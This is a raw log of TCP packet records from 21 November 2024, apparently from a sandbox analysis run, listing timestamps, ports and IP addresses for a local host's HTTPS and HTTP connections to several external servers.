Nov 21, 2024 19:58:31.553514004 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:31.553541899 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:31.553550959 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:31.553585052 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:31.553632975 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:31.553638935 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:31.553654909 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:31.553688049 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:31.553847075 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:31.573590994 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:31.573682070 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:31.573689938 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:31.573765993 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:31.637463093 CET	80	49726	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:31.637552023 CET	49726	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:31.997684956 CET	49726	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:32.007997990 CET	443	49727	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:32.008112907 CET	49727	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:32.009910107 CET	49727	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:32.009932041 CET	443	49727	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:32.010332108 CET	443	49727	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:32.011485100 CET	49727	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:32.059340000 CET	443	49727	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:32.080832005 CET	49729	443	192.168.2.8	172.217.17.78
Nov 21, 2024 19:58:32.117225885 CET	80	49726	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:32.132862091 CET	49721	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:32.554600000 CET	443	49727	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:32.554790020 CET	443	49727	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:32.555665970 CET	49727	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:32.555727005 CET	49727	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:32.555743933 CET	443	49727	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:32.555757999 CET	49727	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:32.555763960 CET	443	49727	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:32.951266050 CET	80	49726	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:32.952712059 CET	49726	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:33.002981901 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:33.003010988 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:33.003022909 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:33.003029108 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:37.142280102 CET	49741	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:37.142349958 CET	443	49741	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:37.142431974 CET	49741	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:37.143013000 CET	49742	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:37.143053055 CET	443	49742	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:37.143121004 CET	49742	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:37.191035986 CET	49742	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:37.191051960 CET	443	49742	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:37.192023039 CET	49741	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:37.192045927 CET	443	49741	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:37.955419064 CET	80	49726	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:37.955673933 CET	49726	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:38.530534029 CET	49726	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:38.530885935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:38.650218964 CET	80	49726	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:38.650451899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:38.650580883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:38.652218103 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:38.768662930 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:38.768690109 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:38.768757105 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:38.769774914 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:38.769788980 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:38.771905899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:39.002609015 CET	443	49741	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.003612995 CET	49741	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.003648996 CET	443	49741	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.005359888 CET	443	49741	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.005640984 CET	49741	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.008476973 CET	49741	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.008645058 CET	49741	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.008723974 CET	443	49741	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.055562973 CET	443	49742	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.060769081 CET	49742	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.060801983 CET	443	49742	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.062442064 CET	443	49742	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.062515020 CET	49742	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.063002110 CET	49742	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.063095093 CET	443	49742	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.132838011 CET	49741	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.132885933 CET	443	49741	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.132940054 CET	49742	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.132951021 CET	443	49742	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.232702017 CET	49741	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.232831001 CET	49742	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.506979942 CET	443	49741	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.507075071 CET	443	49741	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:39.507198095 CET	49741	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.973464966 CET	49741	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:39.973551989 CET	443	49741	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:40.422847986 CET	49754	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:40.422916889 CET	443	49754	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:40.423074007 CET	49754	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:40.423497915 CET	49754	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:40.423517942 CET	443	49754	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:40.580411911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:40.580483913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:40.606534004 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:40.606611967 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:40.736979961 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:40.737020016 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:40.737355947 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:40.738986969 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:40.739025116 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:40.739069939 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:41.038666010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:41.135634899 CET	49757	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.135674000 CET	443	49757	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.135799885 CET	49757	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.137450933 CET	49758	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:41.137490034 CET	443	49758	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:41.137543917 CET	49758	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:41.138072968 CET	49757	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.138088942 CET	443	49757	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.138252020 CET	49758	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:41.138262987 CET	443	49758	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:41.152405977 CET	49759	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.152426958 CET	443	49759	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.152489901 CET	49759	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.153646946 CET	49759	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.153661013 CET	443	49759	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.158205986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:41.302598953 CET	49757	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.303230047 CET	49760	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.303287983 CET	443	49760	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.303654909 CET	49760	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.305039883 CET	49742	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:41.305150986 CET	443	49742	94.245.104.56	192.168.2.8
Nov 21, 2024 19:58:41.305274963 CET	49742	443	192.168.2.8	94.245.104.56
Nov 21, 2024 19:58:41.306782007 CET	49758	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:41.307270050 CET	49754	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:41.308104992 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:41.308131933 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:41.308255911 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:41.308703899 CET	49762	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:41.308722973 CET	443	49762	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:41.308784962 CET	49762	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:41.309650898 CET	49760	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.309669018 CET	443	49760	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.309750080 CET	49759	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.309990883 CET	49766	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.310014963 CET	443	49766	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.310153008 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:41.310167074 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:41.310184956 CET	49766	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.310280085 CET	49762	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:41.310292959 CET	443	49762	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:41.310681105 CET	49766	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.310698032 CET	443	49766	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.343338966 CET	443	49757	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.347341061 CET	443	49758	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:41.347345114 CET	443	49754	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:41.355336905 CET	443	49759	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.424726963 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:41.424747944 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:41.424818039 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:41.424818993 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:41.424859047 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:41.424875975 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:41.425395012 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:41.425429106 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:41.425561905 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:41.425592899 CET	443	49748	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:41.425643921 CET	49748	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:41.743777037 CET	49776	443	192.168.2.8	18.165.220.57
Nov 21, 2024 19:58:41.743809938 CET	443	49776	18.165.220.57	192.168.2.8
Nov 21, 2024 19:58:41.743966103 CET	49776	443	192.168.2.8	18.165.220.57
Nov 21, 2024 19:58:41.744585037 CET	49776	443	192.168.2.8	18.165.220.57
Nov 21, 2024 19:58:41.744595051 CET	443	49776	18.165.220.57	192.168.2.8
Nov 21, 2024 19:58:41.747492075 CET	49778	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:41.747519970 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:41.747805119 CET	49778	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:41.747876883 CET	49778	443	192.168.2.8	20.190.147.6
Nov 21, 2024 19:58:41.747884035 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:41.820219994 CET	49780	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.820246935 CET	443	49780	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.820346117 CET	49780	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.820586920 CET	49780	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.820597887 CET	443	49780	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.902242899 CET	49781	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.902291059 CET	443	49781	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.902409077 CET	49781	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.902770042 CET	49781	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:41.902782917 CET	443	49781	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:41.995886087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:41.996165037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:42.007920980 CET	49782	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:42.007967949 CET	443	49782	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:42.008049965 CET	49782	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:42.008790970 CET	49782	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:42.008804083 CET	443	49782	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:42.375991106 CET	443	49754	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:42.376153946 CET	443	49754	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:42.376231909 CET	49754	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:42.379940033 CET	49754	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:42.418184042 CET	443	49758	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:42.418297052 CET	443	49758	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:42.418361902 CET	49758	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:42.418391943 CET	49758	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:42.423635006 CET	443	49757	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.423779964 CET	443	49757	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.424202919 CET	49757	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.424202919 CET	49757	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.514204979 CET	443	49759	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.514309883 CET	49759	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.715044975 CET	443	49766	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.716170073 CET	49766	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.716196060 CET	443	49766	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.717031956 CET	443	49760	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.717591047 CET	49760	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.717606068 CET	443	49760	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.717735052 CET	443	49766	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.717797995 CET	49766	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.719856977 CET	49766	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.719963074 CET	443	49766	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.720043898 CET	49766	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.720060110 CET	443	49766	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.721137047 CET	443	49760	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.721196890 CET	49760	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.725555897 CET	49760	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.725739002 CET	443	49760	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.725789070 CET	49760	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.767366886 CET	443	49760	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.771894932 CET	443	49762	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:42.774064064 CET	49762	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:42.774082899 CET	443	49762	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:42.775127888 CET	443	49762	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:42.775197983 CET	49762	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:42.777538061 CET	49762	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:42.777609110 CET	443	49762	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:42.777846098 CET	49762	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:42.777853966 CET	443	49762	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:42.927329063 CET	443	49766	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.927405119 CET	49766	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.931382895 CET	443	49760	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:42.931477070 CET	49760	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:42.932492018 CET	49762	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.032946110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.103317976 CET	49784	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.103349924 CET	443	49784	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.103528023 CET	49784	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.103694916 CET	49784	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.103708029 CET	443	49784	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.116126060 CET	443	49781	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.116338968 CET	49781	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.116358995 CET	443	49781	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.120115995 CET	443	49781	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.120184898 CET	49781	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.120568991 CET	49781	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.120618105 CET	49781	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.120748997 CET	443	49781	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.146517992 CET	443	49780	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.146720886 CET	49780	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.146728039 CET	443	49780	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.147737026 CET	443	49780	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.147800922 CET	49780	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.148144960 CET	49780	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.148201942 CET	443	49780	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.149574041 CET	49780	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.149580002 CET	443	49780	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.152534962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.160651922 CET	49781	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.160665989 CET	443	49781	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.189306021 CET	443	49760	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.189492941 CET	443	49760	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.189548969 CET	49760	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.189671993 CET	49760	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.189690113 CET	443	49760	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.190264940 CET	443	49766	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.190349102 CET	443	49766	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.190411091 CET	49766	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.190521002 CET	49766	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.190548897 CET	443	49766	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.199405909 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.199624062 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:43.199637890 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.200017929 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.200032949 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.200093985 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:43.200102091 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.200151920 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:43.200767040 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.202054977 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:43.202124119 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.202193022 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:43.202199936 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.231699944 CET	443	49762	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.231770039 CET	443	49762	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.231837034 CET	49762	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.231920958 CET	49762	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.231935024 CET	443	49762	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.240828991 CET	49781	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.240968943 CET	443	49781	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:43.241066933 CET	49780	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.241066933 CET	49781	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:43.294801950 CET	443	49782	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.295074940 CET	49782	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.295111895 CET	443	49782	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.296252966 CET	443	49782	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.296320915 CET	49782	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.296614885 CET	49782	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.296686888 CET	443	49782	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.296757936 CET	49782	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.296772003 CET	443	49782	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.407370090 CET	443	49761	142.250.181.97	192.168.2.8
Nov 21, 2024 19:58:43.407468081 CET	49761	443	192.168.2.8	142.250.181.97
Nov 21, 2024 19:58:43.430421114 CET	49782	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.430696011 CET	49782	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.430771112 CET	443	49782	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.430902004 CET	443	49782	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:43.430958033 CET	49782	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.430989981 CET	49782	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:43.463707924 CET	443	49776	18.165.220.57	192.168.2.8
Nov 21, 2024 19:58:43.464109898 CET	49776	443	192.168.2.8	18.165.220.57
Nov 21, 2024 19:58:43.464127064 CET	443	49776	18.165.220.57	192.168.2.8
Nov 21, 2024 19:58:43.465636015 CET	443	49776	18.165.220.57	192.168.2.8
Nov 21, 2024 19:58:43.465697050 CET	49776	443	192.168.2.8	18.165.220.57
Nov 21, 2024 19:58:43.466727018 CET	49776	443	192.168.2.8	18.165.220.57
Nov 21, 2024 19:58:43.466818094 CET	443	49776	18.165.220.57	192.168.2.8
Nov 21, 2024 19:58:43.488888025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.488924026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.488930941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.488982916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.489008904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.489018917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.489025116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.489037037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.489042044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.489048958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.489077091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.489094019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.497458935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.497549057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.497570038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.497827053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.505723953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.505788088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.505806923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:43.505872011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:43.515964031 CET	443	49778	20.190.147.6	192.168.2.8
Nov 21, 2024 19:58:43.516690969 CET	49778	443	192.168.2.8	20.190.147.6
